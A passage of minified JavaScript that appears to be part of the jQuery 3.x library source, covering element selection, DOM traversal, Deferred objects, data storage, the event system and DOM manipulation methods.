D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ee(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Se(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,we)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Se(this,e,Ce),!1},trigger:function(){return Se(this,e),!0},_default:function(){return!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return Ee(this,e,t,n,r)},one:function(e,t,n,r){return Ee(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){S.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Me=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ie=new RegExp(ne.join("|"),"i");function We(e,t,n){var r,i,o,a,s=e.style;return(n=n||Re(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Pe.test(a)&&Ie.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function 